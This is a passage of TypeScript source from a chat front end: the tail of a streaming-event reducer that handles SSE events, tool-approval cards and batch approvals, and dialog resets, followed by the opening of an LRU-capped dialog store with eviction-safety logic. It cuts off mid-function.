mergeTurnMeta(sendIdx, {\n        provider: event.provider ?? null,\n        modelLabel: event.modelLabel ?? null,\n        contextWindowMaxTokens: event.contextWindowMaxTokens ?? null,\n      });\n    }\n    const parsedAnchor = parseScrollAnchor(event.scrollAnchor);\n    if (parsedAnchor !== null) {\n      mergeTurnMeta(sendIdx, { scrollAnchor: parsedAnchor });\n    }\n  }\n\n  function applySseUsage(event: UsageEvent, sendIdx: number): void {\n    if (event.stage === 'start') {\n      mergeTurnMeta(sendIdx, { inputTokens: event.input_tokens ?? null });\n      return;\n    }\n    // stage === 'end' — the trailing usage frame. Raw wire values pass the\n    // legacy truthiness/typeof gates so a malformed frame degrades\n    // identically to the pre-SSOT parser.\n    const rawBreakdown: unknown = event.breakdown;\n    const breakdown: UnifiedUsageBreakdown | null = isWireRecord(rawBreakdown)\n      ? {\n          haikuRewriter: readTokenPair(rawBreakdown.haikuRewriter),\n          haikuClassifier: readTokenPair(rawBreakdown.haikuClassifier),\n          haikuSummarizer: readTokenPair(rawBreakdown.haikuSummarizer),\n          routedAnswer: readRoutedAnswer(rawBreakdown.routedAnswer),\n        }\n      : null;\n    mergeTurnMeta(sendIdx, {\n      inputTokens: event.input_tokens ?? null,\n      outputTokens: event.output_tokens ?? null,\n      cacheHitRatePct: typeof event.hit_rate_pct === 'number' ? event.hit_rate_pct : null,\n      ...(breakdown ? { breakdown } : {}),\n    });\n  }\n\n  function applySse(event: ChatStreamEvent): void {\n    const sendIdx = sendCount - 1;\n    switch (event.type) {\n      case 'status':\n        setPhaseInternal('thinking');\n        break;\n      case 'thinking-delta':\n        sseAppendThinking(escapeThinkingTags(event.text));\n        break;\n      case 'turn-start':\n        setPhaseInternal('streaming');\n        break;\n      case 'text-delta':\n        if (!event.leading) setPhaseInternal('streaming');\n        sseAppendText(event.text);\n        break;\n      case 'error':\n        // Legacy parity: SSE tool errors surface as answer text.\n        sseAppendText(`⚠️ ${event.title}`);\n        break;\n      case 'approval-request': {\n        // Flush any accumulated preamble text so the card lands after it.\n        if (sseCurrentText) {\n          sseWriteTrailingText(sseCurrentText);\n          sseCurrentText = '';\n        }\n        const segment: ApprovalRequestSegment = {\n          type: 'approval_request',\n          data: {\n            command: event.command ?? '',\n            fields: event.fields,\n            requestId: event.requestId,\n            approvalType: event.approvalType,\n          },\n          status: 'pending',\n          onApprove: callbacks.onApprove,\n          onReject: callbacks.onReject,\n        };\n        const last = messages[messages.length - 1];\n        if (!last || last.role !== 'assistant') break;\n        // ── WIRE-NATIVE BATCH ─────────────────────────────────────────\n        // The SERVER groups a multi-proposal turn into ONE\n        // `approval_batch` frame (decoded to `event.toolCalls`) — the\n        // client performs NO adjacency heuristics. Render the bulk-\n        // approval component: one Approve/Reject resolving every row\n        // sequentially through its own per-proposal confirm; per-row\n        // execution icons ticked by each `approval-resolved` event\n        // (see `projectApprovalResolutionToMessages`). Single-proposal\n        // turns keep the classic editable per-card flow below.\n        if (event.toolCalls && event.toolCalls.length > 0) {\n          const rows = event.toolCalls;\n          const anchorId = event.requestId;\n          const ids = rows.map(c => c.toolExecutionRequestId);\n          const batchSegment: ApprovalBatchSegment = {\n            type: 'approval_batch',\n            status: 'pending',\n            data: {\n              approvalRequestId: anchorId,\n              approvalType: event.approvalType ?? 'chat',\n              toolCalls: rows,\n              executions: {},\n            },\n            // Optimistic status flip so the per-row loaders show while\n            // the sequential per-proposal confirms run (the anchor id is\n            // NEVER a row id — see ApprovalBatchFrame.batchId — so the\n            // flip cannot pre-tick a row's execution). A confirm that\n            // reports failure (`false` — expired proposal, network\n            // error) ticks THAT row's cross so no loader spins forever;\n            // remaining rows still get their attempt.\n            ...(() => {\n              const resolveBatch =\n                (status: 'approved' | 'rejected', confirm: typeof callbacks.onApprove) => async () => {\n                  // STATUS-ONLY projection (defense-in-depth): even a\n                  // batchId colliding with a row id cannot pre-tick an\n                  // execution here — rows resolve exclusively via their\n                  // own confirm results / approval-resolved events.\n                  setMessagesInternal(projectBatchStatusToMessages(messages, anchorId, status));\n                  for (const id of ids) {\n                    const ok = await confirm?.(id);\n                    if (ok === false) {\n                      setMessagesInternal(projectBatchRowFailureToMessages(messages, id));\n                    }\n                  }\n                };\n              return {\n                onApprove: resolveBatch('approved', callbacks.onApprove),\n                onReject: resolveBatch('rejected', callbacks.onReject),\n              };\n            })(),\n          };\n          setMessagesInternal([\n            ...messages.slice(0, -1),\n            { ...last, segments: [...(last.segments ?? []), batchSegment] },\n          ]);\n          break;\n        }\n        setMessagesInternal([...messages.slice(0, -1), { ...last, segments: [...(last.segments ?? []), segment] }]);\n        break;\n      }\n      case 'approval-resolved':\n        applySseApprovalResolved(event);\n        break;\n      case 'metadata':\n        applySseMetadata(event, sendIdx);\n        break;\n      case 'usage':\n        applySseUsage(event, sendIdx);\n        break;\n      // NOTE: 'tool-execution' is intentionally NOT handled on the SSE\n      // kernel — the SSE wire never carries it, and routing it through the\n      // accumulator would invoke resolvePendingApprovalForExecution, which\n      // is a NATS-only semantic (observer streams without APPROVAL_RESULT).\n      default:\n        break;\n    }\n  }\n\n  // ===========================================================================\n  // Public surface\n  // ===========================================================================\n\n  function apply(event: ChatStreamEvent): void {\n    // seq-based idempotency: drop redelivered / out-of-order events.\n    if (typeof event.seq === 'number') {\n      if (event.seq <= lastAppliedSeq) return;\n      lastAppliedSeq = event.seq;\n    }\n    if (transport === 'sse') applySse(event);\n    else applyNats(event);\n  }\n\n  function reset(): void {\n    messages = [];\n    streamingPhase = 'idle';\n    dialogTokenUsage = null;\n    liveModel = null;\n    approvalStatuses = {};\n    accumulator.reset();\n    pendingEscalated.clear();\n    isInStream = false;\n    hasEverStreamed = false;\n    sawDirectMessage = false;\n    directTeardownFired = false;\n    lastAppliedSeq = Number.NEGATIVE_INFINITY;\n    pendingEchoTexts = [];\n    turnStartedAt = 0;\n    adoptTrailingAssistant = false;\n    metaMap.clear();\n    sourcesMap.clear();\n    sendCount = 0;\n    sseCurrentText = '';\n    invalidate();\n  }\n\n  /**\n   * Per-dialog reset. EVERYTHING scoped to one dialog is dropped; the two\n   * deliberate survivors are called out below, because \"the full reset minus\n   * an explicit, argued list\" is the only form of this function that does not\n   * rot — a field added to `reset()` and forgotten here is a cross-dialog leak,\n   * and that is exactly how `sseCurrentText` came to bleed (see the SSE block).\n   *\n   * SURVIVOR 1 — `approvalStatuses`: request ids are globally unique, and a\n   * resolved approval must not re-render as actionable when its\n   * APPROVAL_RESULT row is missing from the refetched history page.\n   *\n   * SURVIVOR 2 — `suppressAgentBusy`: NOT dialog state, but a refcount for an\n   * IN-FLIGHT operation, owned by the caller's `+1` / `-1` pairing around a\n   * catchup window. Zeroing it here would break that pairing in exactly the\n   * race the suppression exists for: on an A → B → A re-entry, A's first\n   * catchup can still be replaying its dead tail (`EXECUTING_TOOL` chunks whose\n   * releasing `MESSAGE_END` never replays) when the switch back resets, so\n   * clearing the count would let that replay lock the composer — the bug\n   * `adjustAgentBusySuppression` was introduced to prevent. The pairing is\n   * already safe across a switch (`Math.max(0, …)` absorbs an over-decrement\n   * and each `finally` is scoped to its own captured dialogId), so leaving the\n   * count alone is both correct and sufficient. Pinned by the\n   * \"agent-busy suppression survives a dialog switch\" test.\n   */\n  function resetForDialogSwitch(): void {\n    messages = [];\n    streamingPhase = 'idle';\n    dialogTokenUsage = null;\n    liveModel = null;\n    accumulator.reset();\n    pendingEscalated.clear();\n    isInStream = false;\n    hasEverStreamed = false;\n    sawDirectMessage = false;\n    directTeardownFired = false;\n    lastAppliedSeq = Number.NEGATIVE_INFINITY;\n    pendingEchoTexts = [];\n    turnStartedAt = 0;\n    adoptTrailingAssistant = false;\n    // SSE per-turn kernel. `sseCurrentText` is the CUMULATIVE answer text of\n    // the turn being streamed, and `sseAppendText` only ever appends to it —\n    // so leaving it behind prepends the previous dialog's whole answer to the\n    // next `text-delta` that lands without an intervening `beginSseSend`\n    // (the resumed-mid-turn shape: restore history, then live deltas flow).\n    // The per-send maps are keyed by `sendCount`, which is likewise per-dialog;\n    // a host that needs them restored has `seedSseMaps`.\n    sseCurrentText = '';\n    metaMap.clear();\n    sourcesMap.clear();\n    sendCount = 0;\n    invalidate();\n  }\n\n  /** Canonical state-monotonic merge of a persisted / parked status map.\n   *  \"resolved beats pending\" in BOTH directions — see the interface doc on\n   *  `mergeApprovalStatuses`, which is this function. */\n  function mergeApprovalStatusesInternal(persisted: Record<string, ChatApprovalStatus>): void {\n    const keys = Object.keys(persisted);\n    if (keys.length === 0) return;\n    let next: Record<string, ChatApprovalStatus> | null = null;\n    for (const key of keys) {\n      const mine = approvalStatuses[key];\n      const theirs = persisted[key];\n      // Unknown here → adopt. Known → adopt only to upgrade pending →\n      // resolved; never downgrade a resolution back to pending.\n      const adopt = mine === undefined || (mine === 'pending' && theirs !== 'pending');\n      if (!adopt || mine === theirs) continue;\n      next ??= { ...approvalStatuses };\n      next[key] = theirs;\n    }\n    if (next === null) return;\n    approvalStatuses = next;\n    invalidate();\n  }\n\n  function initializeWithState(nextMessages: UnifiedChatMessage[] | null, extras?: InitializeExtras): void {\n    if (nextMessages !== null) {\n      messages = nextMessages;\n    }\n    if (extras) {\n      accumulator.initializeWithState({\n        existingSegments: extras.existingSegments,\n        pendingApprovals: extras.pendingApprovals,\n        executingTools: extras.executingTools,\n      });\n      if (extras.escalatedApprovals) {\n        for (const [requestId, data] of extras.escalatedApprovals) {\n          pendingEscalated.set(requestId, data);\n          emit('onEscalatedApproval', requestId, data);\n        }\n      }\n      // Parked state from a previous instance of this key (see the fields'\n      // docs). Both are restore-only: statuses merge monotonically, the seq\n      // gate only moves forward.\n      if (extras.approvalStatuses) mergeApprovalStatusesInternal(extras.approvalStatuses);\n      if (typeof extras.lastAppliedSeq === 'number' && extras.lastAppliedSeq > lastAppliedSeq) {\n        lastAppliedSeq = extras.lastAppliedSeq;\n      }\n      if (extras.pendingEchoes && extras.pendingEchoes.length > 0) {\n        const now = Date.now();\n        const restored = extras.pendingEchoes.filter(e => now - e.at < OWN_ECHO_AUTHOR_TTL_MS);\n        if (restored.length > 0) {\n          pendingEchoTexts = [...pendingEchoTexts, ...restored.map(e => ({ ...e }))];\n          if (pendingEchoTexts.length > MAX_PENDING_ECHOES) {\n            pendingEchoTexts = pendingEchoTexts.slice(-MAX_PENDING_ECHOES);\n          }\n        }\n      }\n    }\n    // Resumed dialog: a MESSAGE_START already fired server-side. Treat\n    // subsequent continuation chunks (after the next MESSAGE_END) as\n    // post-stream so they append into the existing bubble instead of\n    // replacing its content via the cold-start cumulative path.\n    //\n    // Gated on the restored thread being non-empty (overridable via\n    // `extras.resumed`): the eviction round trip calls this for EVERY dropped\n    // key, including one that never streamed and parked an empty thread.\n    // Claiming \"resumed\" there would send a later cold text-delta with no\n    // preceding `turn-start` down the append branch, so the first assistant\n    // bubble never spawns.\n    // Never DOWNGRADES an instance that already streamed — this only decides\n    // whether the restore itself counts as evidence of a prior stream.\n    hasEverStreamed = hasEverStreamed || (extras?.resumed ?? messages.length > 0);\n    // A tail the extractor judged agent-busy restores the activity indicator.\n    // Routed through `agentBusyState` so the restore obeys the SAME rule a live\n    // busy signal does — only 'idle' upgrades, an open stream keeps ownership.\n    if (extras?.agentBusy) agentBusyState();\n    invalidate();\n  }\n\n  return {\n    apply,\n    get state() {\n      return getState();\n    },\n    reset,\n    initializeWithState,\n\n    setMessages(next) {\n      messages = next;\n      invalidate();\n    },\n    prependMessages(older) {\n      messages = [...older, ...messages];\n      invalidate();\n    },\n    pushOptimisticSend(text, hidden = false) {\n      // Record the text so the backend's MESSAGE_REQUEST echo consumes this\n      // send instead of rendering a duplicate row (cap keeps the list from\n      // growing if a backend never echoes).\n      pendingEchoTexts.push({ text, at: Date.now() });\n      if (pendingEchoTexts.length > MAX_PENDING_ECHOES) pendingEchoTexts.shift();\n      messages = [\n        ...messages,\n        // An EMPTY-text send is out-of-band metadata (an approval decision),\n        // not something the user said — see `beginSseSend` for the full\n        // rationale. Never materialize a row for it.\n        ...(text.length > 0\n          ? ([\n              {\n                id: nextId('user'),\n                role: 'user' as const,\n                content: text,\n                ...(hidden ? { hidden: true } : {}),\n              },\n            ] satisfies UnifiedChatMessage[])\n          : []),\n        { id: nextId('assistant'), role: 'assistant', content: '', segments: [] },\n      ];\n      streamingPhase = 'thinking';\n      invalidate();\n    },\n    clearThread() {\n      messages = [];\n      accumulator.reset();\n      streamingPhase = 'idle';\n      invalidate();\n    },\n    resetForDialogSwitch,\n\n    beginSseSend({ text, hidden, userName = 'You', assistantName, assistantAvatar }) {\n      const now = Date.now();\n      messages = [\n        ...messages,\n        // Approve / Reject send `('', { hidden: true, approvalAction })`: the\n        // decision is OUT-OF-BAND metadata (it rides `proposal_id`/`action` in\n        // the request body), not a user utterance. The history builder already\n        // filters `!m.hidden`, so such a row contributes NOTHING to the wire —\n        // it is dead state whose only effect is a render hazard (an author\n        // label with no body). So we never mint it. Hidden sends that DO carry\n        // text (e.g. an auto-continuation directive) still become real state:\n        // the LLM must see them, `Message.hidden` keeps them off screen.\n        ...(text.length > 0\n          ? ([\n              {\n                id: `user-${now}`,\n                role: 'user' as const,\n                name: userName,\n                content: text,\n                timestamp: new Date(now),\n                ...(hidden ? { hidden: true } : {}),\n              },\n            ] satisfies UnifiedChatMessage[])\n          : []),\n        {\n          id: `assistant-${now}`,\n          role: 'assistant',\n          name: assistantName,\n          content: '',\n          segments: [],\n          timestamp: new Date(now),\n          ...(assistantAvatar !== undefined ? { avatar: assistantAvatar } : {}),\n        },\n      ];\n      sendCount += 1;\n      sseCurrentText = '';\n      streamingPhase = 'thinking';\n      invalidate();\n    },\n    endSseTurn() {\n      // Reject-path on confirm-tool emits ONLY a `decision_resolved` leading\n      // frame and closes — no text segments stream in, so the placeholder\n      // assistant message would render as a blank bubble. Remove the\n      // trailing assistant message if it still has no content.\n      const last = messages[messages.length - 1];\n      if (last && last.role === 'assistant' && (last.segments?.length ?? 0) === 0 && last.content === '') {\n        messages = messages.slice(0, -1);\n      }\n      sseCurrentText = '';\n      streamingPhase = 'idle';\n      invalidate();\n    },\n    failSseTurn(errorMessage) {\n      // Legacy `useChat` catch parity: the trailing (placeholder) message is\n      // replaced by an error-role row.\n      messages = [\n        ...messages.slice(0, -1),\n        {\n          id: `error-${Date.now()}`,\n          role: 'error',\n          content: errorMessage,\n          timestamp: new Date(),\n        } as unknown as UnifiedChatMessage,\n      ];\n      sseCurrentText = '';\n      streamingPhase = 'idle';\n      invalidate();\n    },\n    seedSseMaps({ sources, sendCount: seedSendCount }) {\n      if (sources) for (const [k, v] of sources) sourcesMap.set(k, v);\n      if (typeof seedSendCount === 'number') sendCount = seedSendCount;\n      invalidate();\n    },\n\n    setPhase(phase) {\n      setPhaseInternal(phase);\n    },\n    setApprovalStatus(requestId, status) {\n      if (status === null) {\n        if (!(requestId in approvalStatuses)) return;\n        const next = { ...approvalStatuses };\n        delete next[requestId];\n        approvalStatuses = next;\n      } else {\n        if (approvalStatuses[requestId] === status) return;\n        approvalStatuses = { ...approvalStatuses, [requestId]: status };\n      }\n      invalidate();\n    },\n    mergeApprovalStatuses: mergeApprovalStatusesInternal,\n    setDirectMode(isDirectMode) {\n      directModeFlag = isDirectMode;\n    },\n    setDialogTokenUsage(usage) {\n      dialogTokenUsage = usage;\n      invalidate();\n    },\n    adjustAgentBusySuppression(delta) {\n      suppressAgentBusy = Math.max(0, suppressAgentBusy + delta);\n    },\n    armAdoptTrailingAssistant(value) {\n      adoptTrailingAssistant = value;\n    },\n\n    projectApprovalResolution(requestId, status, resolvedByName) {\n      setMessagesInternal(projectApprovalResolutionToMessages(messages, requestId, status, resolvedByName));\n      mirrorApprovalStatus(requestId, status);\n    },\n    projectToolExecution(segment) {\n      // Merge-only: a projection must never grow a card on a side the tool\n      // doesn't belong to, and must never re-enter the seq stream.\n      const merged = mergeToolExecutionIfPresent(messages, segment);\n      if (merged !== null) setMessagesInternal(merged);\n    },\n\n    getLastAppliedSeq() {\n      return lastAppliedSeq;\n    },\n    getPendingEchoes() {\n      // SNAPSHOT, not the live array: `pushOptimisticSend` pushes into and\n      // `consumeOwnEcho` splices the same object, so handing it out would make\n      // the `readonly` return type a lie and let a parked copy mutate under\n      // its holder.\n      return pendingEchoTexts.slice();\n    },\n    getSegments() {\n      return accumulator.getSegments();\n    },\n    updateApprovalStatus(requestId, status, resolvedByName) {\n      const segments = accumulator.updateApprovalStatus(requestId, status, resolvedByName);\n      setMessagesInternal(projectApprovalResolutionToMessages(messages, requestId, status, resolvedByName));\n      // Status-map mirror — kept in lockstep with the other two flip\n      // paths (SSE approval-resolved at ~1240, NATS at ~1950): the map\n      // restores status when a replayed approval-request event\n      // re-renders the card, and a flip applied through THIS path must\n      // survive that replay the same way.\n      mirrorApprovalStatus(requestId, status);\n      return segments;\n    },\n    getPendingEscalated() {\n      return new Map(pendingEscalated);\n    },\n  };\n}\n","/**\n * createChatDialogStore — framework-free registry of `ChatStreamReducer`\n * instances keyed by `(dialogId, side)`. Reducer state PERSISTS across\n * component unmounts (the store outlives React), and the store is the\n * `useSyncExternalStore` source for the `useChatStreamReducer` wrapper.\n *\n * CROSS-SIDE PROJECTION: exactly two operations fan out across sides of the\n * same dialogId —\n *   1. approval RESOLUTION by requestId (`approval-resolved` events), and\n *   2. tool-execution MERGE by execId (`tool-execution` events)\n * — implemented as idempotent pure projections over the other side's state\n * (recomputed from state, never re-injected into the other side's seq\n * stream; per-side seq gates stay untouched). Everything else — text,\n * thinking, participant rows — is strictly per-side.\n *\n * LIFECYCLE / MEMORY: the reducer map is LRU-capped (`maxReducers`, default\n * `DEFAULT_MAX_REDUCERS`) and evicted through the same path as `remove()`.\n * Without a cap an agent cycling hundreds of dialogs would retain a reducer\n * (thread + accumulator) per dialog for the process's lifetime; under SSR,\n * where the store is module-scoped, that growth is shared across every\n * request. `getSnapshot` is PURE — it never creates an entry — and\n * `getServerSnapshot` always returns the shared frozen `EMPTY_STATE`.\n *\n * EVICTION SAFETY (LRU recency alone is NOT liveness):\n *   1. RETAINED keys are never evicted. `retain(dialogId, side)` returns a\n *      release fn; the `useChatStreamReducer` hook calls it for as long as it\n *      is mounted, so a quiet-but-visible panel can't be dropped just because\n *      ten other keys were touched. NON-React hosts must call it too.\n *      Because the hook retains in an EFFECT but takes its reducer during\n *      RENDER, a key created by a public `getReducer` is protected from\n *      creation until its FIRST `retain()` (bounded by\n *      `MAX_PENDING_RETAIN_KEYS`) — see `pendingRetain`.\n *   2. A reducer whose `streamingPhase !== 'idle'` is never evicted — dropping\n *      mid-turn would recreate an EMPTY reducer on the next `getReducer`\n *      while the host's seq cursor still says \"caught up\", i.e. the thread\n *      visually vanishes with no path back.\n *   3. Eviction hands the host the dropped instance's PARKED state\n *      (`onEvict(..., { messages, approvalStatuses, lastAppliedSeq,\n *      pendingEchoes })`). A recreated reducer is pristine, so re-seeding\n *      messages alone would\n *      resurrect resolved approvals as actionable and reset the seq gate to\n *      `-Infinity`; the parked payload is what makes the round-trip lossless.\n *   4. Eviction NEVER notifies synchronously. `getReducer` is called during\n *      render (by the hook), and notifying there means updating other\n *      components mid-render. The notify is deferred to a microtask.\n */\n\nimport type { ChatStreamEvent } from '../../../chat-protocol/events';\nimport {\n  createChatStreamReducer,\n  type ChatReducerState,\n  type ChatStreamReducer,\n  type ChatStreamReducerOptions,\n  type PendingEcho,\n} from './chat-stream-reducer';\n\nexport type ChatDialogSide = string;\n\n/** Factory for a key's reducer options, consulted ONCE at creation. A plain\n *  `() => options` thunk remains assignable. */\nexport type CreateReducerOptionsFn = (dialogId: string, side: ChatDialogSide) => ChatStreamReducerOptions;\n\nexport interface ChatDialogStore {\n  /** Create-or-get the reducer for `(dialogId, side)`. `createOptions` is\n   *  consulted ONLY when the instance is first created. */\n  getReducer(dialogId: string, side?: ChatDialogSide, createOptions?: CreateReducerOptionsFn): ChatStreamReducer;\n  /** Apply one event to a side, then fan out the cross-side projections to\n   *  the other sides of the same dialog. */\n  apply(dialogId: string, side: ChatDialogSide, event: ChatStreamEvent): void;\n  /** Run adapter commands against a reducer; subscribers are notified. */\n  mutate<T>(dialogId: string, side: ChatDialogSide, fn: (reducer: ChatStreamReducer) => T): T;\n  subscribe(listener: () => void): () => void;\n  /**\n   * Referentially-stable snapshot for `useSyncExternalStore`. PURE — an\n   * unknown key returns the shared frozen `EMPTY_STATE` rather than\n   * creating a reducer (a create-on-read would let SSR renders accumulate\n   * reducers in a process-global map, and would make React's snapshot read\n   * a mutation).\n   */\n  getSnapshot(dialogId: string, side?: ChatDialogSide): ChatReducerState;\n  /** `useSyncExternalStore`'s server getter — always `EMPTY_STATE`. There is\n   *  no per-request store on the server, so a live thread cannot be rendered\n   *  server-side; the client hydrates from the real reducer. */\n  getServerSnapshot(): ChatReducerState;\n  /** Drop a side's reducer (or every side of the dialog when omitted). */\n  remove(dialogId: string, side?: ChatDialogSide): void;\n  /**\n   * PIN `(dialogId, side)` against LRU eviction while a consumer is live.\n   * Returns the release fn (idempotent; refcounted, so nested retains are\n   * safe). Creation is NOT implied — retaining an absent key simply means the\n   * key is protected once it exists.\n   */\n  retain(dialogId: string, side?: ChatDialogSide): () => void;\n  /**\n   * POLICY retain: keep exactly `keys` pinned by this store-level set and\n   * release every key the set previously pinned. Independent of the refcounted\n   * `retain()` handles a host's components hold — the two compose.\n   *\n   * Exists because \"retain this set, release the rest\" is generic store\n   * policy that every multi-panel host otherwise re-derives (diffing its own\n   * key list against a map of release fns). Retains BEFORE releasing, so a key\n   * present in both the old and the new set never momentarily drops to zero\n   * retains and becomes evictable mid-swap.\n   */\n  setRetained(keys: Array<{ dialogId: string; side?: ChatDialogSide }>): void;\n}\n\nexport const DEFAULT_DIALOG_SIDE: ChatDialogSide = 'main';\n\n/** Most-recently-used reducer keys retained before eviction. Ten covers\n *  every realistic multi-panel / dialog-switching session while bounding an\n *  agent that cycles hundreds of dialogs. */\nexport const DEFAULT_MAX_REDUCERS = 10;\n\n/**\n * Hard cap on keys held in the \"created by `getReducer`, `retain()` still\n * pending\" protection set — the ONLY thing bounding the map while retains are\n * outstanding, since that protection ends at the retain rather than on a timer.\n *\n * Deliberately far above `maxReducers`: a host may legitimately mount MORE\n * panels than the LRU cap (once their effects run, retained keys already let\n * the map exceed it), so capping the pending set at `maxReducers` would blank\n * exactly the panels round 10 fixed. It is a backstop against a caller that\n * reads a reducer once and drops it — or a concurrent render React discards\n * before any effect runs — not a per-commit budget. Past it, the oldest pending\n * key falls through to ordinary LRU.\n */\nexport const MAX_PENDING_RETAIN_KEYS = 256;\n\nexport interface CreateChatDialogStoreOptions {\n  /** LRU cap on retained reducers (keys are `(dialogId, side)` pairs).\n   *  Values < 1 are clamped to 1. Default `DEFAULT_MAX_REDUCERS`. */\n  maxReducers?: number;\n  /**\n   * Options applied to any reducer this store creates WITHOUT an explicit\n   * per-call `createOptions` — i.e. every reducer first materialized by\n   * `apply()` or `mutate()`. Hosts with non-default reducer semantics\n   * (`ownEchoIncludesAdmin`, `selfUserId`, approve/reject `callbacks`, …)\n   * MUST set this: creation options are consulted once, so a bare\n   * apply-created instance would keep those semantics missing for its whole\n   * lifetime, including for a later `getReducer(..., options)` caller.\n   */\n  defaultCreateOptions?: CreateReducerOptionsFn;\n  /**\n   * Called when LRU eviction actually DROPS a key. The store knows this\n   * exactly; without publishing it, hosts are left inferring eviction by\n   * comparing reducer OBJECT IDENTITY across `getReducer` calls and then\n   * suppressing the \"pristine empty\" snapshot that a silently-recreated\n   * reducer returns — archaeology about a fact this callback states outright.\n   *\n   * Fires only for LRU eviction. Host-initiated `remove()` needs no\n   * notification: the caller already knows which key it dropped.\n   *\n   * Called AFTER the key is gone, from `getReducer` (i.e. potentially during a\n   * React render) — treat it as a \"schedule a refetch/rehydrate\" signal, not a\n   * place to set state synchronously.\n   *\n   * `parked` carries the dropped reducer's non-refetchable state so the host\n   * can restore it on the recreated instance (`initializeWithState(messages,\n   * { approvalStatuses, lastAppliedSeq, pendingEchoes })`). Refetching\n   * messages alone is NOT\n   * equivalent: a recreated reducer starts with `approvalStatuses = {}` and\n   * `lastAppliedSeq = -Infinity`, so a resolved approval whose APPROVAL_RESULT\n   * row is not in the refetched history page re-renders as ACTIONABLE (the\n   * exact hazard `resetForDialogSwitch` preserves that map to avoid), and a\n   * replay from the host's own cursor re-applies events the dropped instance\n   * had already consumed.\n   */\n  onEvict?: (dialogId: string, side: ChatDialogSide, parked: EvictedReducerState) => void;\n}\n\n/**\n * Snapshot of an LRU-evicted reducer's state, captured just before the\n * instance is dropped. Everything here either cannot be refetched\n * (`lastAppliedSeq`) or is not reliably present in a refetched history page\n * (`approvalStatuses`); `messages` rides along so a host that keeps its own\n * copy does not have to.\n */\nexport interface EvictedReducerState {\n  messages: ChatReducerState['messages'];\n  approvalStatuses: ChatReducerState['approvalStatuses'];\n  /** `-Infinity` when the instance never applied a seq-carrying event. */\n  lastAppliedSeq: number;\n  /**\n   * Optimistic-echo entries still armed at eviction time. A key dropped\n   * between `pushOptimisticSend` and its `MESSAGE_REQUEST` echo would\n   * otherwise leave the recreated reducer with nothing armed, and the echo\n   * renders a DUPLICATE user bubble. Replay via\n   * `initializeWithState(messages, { pendingEchoes })`; the reducer drops\n   * entries already past `OWN_ECHO_AUTHOR_TTL_MS`. Empty for a key with no\n   * send in flight (the common case).\n   */\n  pendingEchoes: readonly PendingEcho[];\n}\n\n/** Shared, frozen \"no reducer for this key\" snapshot. ONE instance, so\n *  repeated `getSnapshot` reads of an absent key are referentially stable\n *  for `useSyncExternalStore`. */\nconst EMPTY_STATE: ChatReducerState = Object.freeze({\n  messages: Object.freeze([]) as unknown as ChatReducerState['messages'],\n  streamingPhase: 'idle',\n  turnMeta: Object.freeze({\n    meta: new Map(),\n    sources: new Map(),\n    sendCount: 0,\n  }),\n  dialogTokenUsage: null,\n  liveModel: null,\n  approvalStatuses: Object.freeze({}) as ChatReducerState['approvalStatuses'],\n});\n\n/** Shared frozen empty list for a key with no send in flight. */\nconst EMPTY_PENDING_ECHOES: readonly PendingEcho[] = Object.freeze([]);\n\nconst KEY_SEP = '\\u0000';\nconst keyOf = (dialogId: string, side: ChatDialogSide) => `${dialogId}${KEY_SEP}${side}`;\n\nexport function createChatDialogStore(options: CreateChatDialogStoreOptions = {}): ChatDialogStore {\n  const maxReducers = Math.max(1, options.maxReducers ?? DEFAULT_MAX_REDUCERS);\n  const defaultCreateOptions = options.defaultCreateOptions;\n  const onEvict = options.onEvict;\n  // Insertion order IS the LRU order: `touch` re-inserts at the tail, so the\n  // FIRST key is always the least-recently-used one.\n  const reducers = new Map<string, ChatStreamReducer>();\n  const listeners = new Set<() => void>();\n  /** key → live retain count (see EVICTION SAFETY #1). */\n  const retained = new Map<string, number>();\n\n  function notify(): void {\n    for (const listener of listeners) listener();\n  }\n\n  /** Notify OUTSIDE the current task — `getReducer` (and therefore eviction)\n   *  runs during React's render phase. See EVICTION SAFETY #4. */\n  function notifyDeferred(): void {\n    if (typeof queueMicrotask === 'function') queueMicrotask(notify);\n    // Legacy fallback only. A listener that throws surfaces as an uncaught\n    // error on the `queueMicrotask` path; on the promise path it would become\n    // a silent unhandled rejection, so report it explicitly instead.\n    else\n      void Promise.resolve()\n        .then(notify)\n        .catch((err: unknown) => {\n          console.error('[chatDialogStore] listener threw during notify:', err);\n        });\n  }\n\n  /**\n   * Keys handed out by a PUBLIC `getReducer` whose `retain()` has not landed\n   * yet. ALL of them are protected from eviction, not just the one being\n   * inserted right now.\n   *\n   * `useChatStreamReducer` calls `getReducer` during RENDER (to hand the\n   * component its reducer) and `retain()` in an EFFECT, so React can render N\n   * panels with N distinct keys before a single retain lands. Protecting only\n   * the key being inserted let render #(cap+1) evict the key render #1 had\n   * just created: panel #1 already holds that reducer object, but\n   * `getSnapshot` is a pure map read, so its thread renders as `EMPTY_STATE`\n   * forever and its later `retain()` pins a key that no longer exists — a\n   * blank thread unless the host re-seeds from `onEvict`.\n   *\n   * PROTECTION ENDS AT THE FIRST `retain()` (`retainKey` deletes the entry),\n   * NOT on a timer. This set exists solely to stand in for the retain that has\n   * not happened yet, so the retain itself is the only non-guessed end of the\n   * window — and from that moment the retain COUNT protects the key instead.\n   * The previous microtask window assumed a render/commit pass never yields to\n   * the microtask queue; under CONCURRENT rendering React time-slices and\n   * resumes in a later macrotask (microtasks drain in between), so keys created\n   * before the yield silently lost protection mid-render and the exact\n   * blank-thread defect above could recur.\n   *\n   * BOUND: a caller that reads a reducer once and drops it never retains, so\n   * the set is FIFO-capped at `MAX_PENDING_RETAIN_KEYS`; the oldest pending key\n   * falls through to ordinary LRU when a newer one arrives. Hence\n   * `reducers.size <= max(maxReducers, R + MAX_PENDING_RETAIN_KEYS)` where `R`\n   * counts retained / mid-stream keys — the same \"protected keys may exceed the\n   * cap\" rule that has always applied to retained ones. Eviction itself stays\n   * SYNCHRONOUS, and the loop always catches back up because `overBy` is\n   * recomputed from `reducers.size`.\n   *\n   * Event-phase creations (`apply()` / `mutate()` first-touching a key) are\n   * deliberately NOT grouped: nobody holds those instances past the call, so a\n   * burst of events across many dialogs must still evict down to the cap\n   * within the same task. They protect only the key currently being written,\n   * via `evictExcess`'s `protectKey`.\n   */\n  const pendingRetain = new Set<string>();\n\n  function markPendingRetain(key: string): void {\n    pendingRetain.add(key);\n    if (pendingRetain.size <= MAX_PENDING_RETAIN_KEYS) return;\n    // Set iteration is insertion-ordered: the oldest still-unretained key is\n    // the one least likely to belong to a live consumer.\n    const oldest = pendingRetain.values().next().value;\n    if (oldest !== undefined) pendingRetain.delete(oldest);\n  }\n\n  /** Mark `key` most-recently-used. */\n  function touch(key: string): void {\n    const reducer = reducers.get(key);\n    if (reducer === undefined) 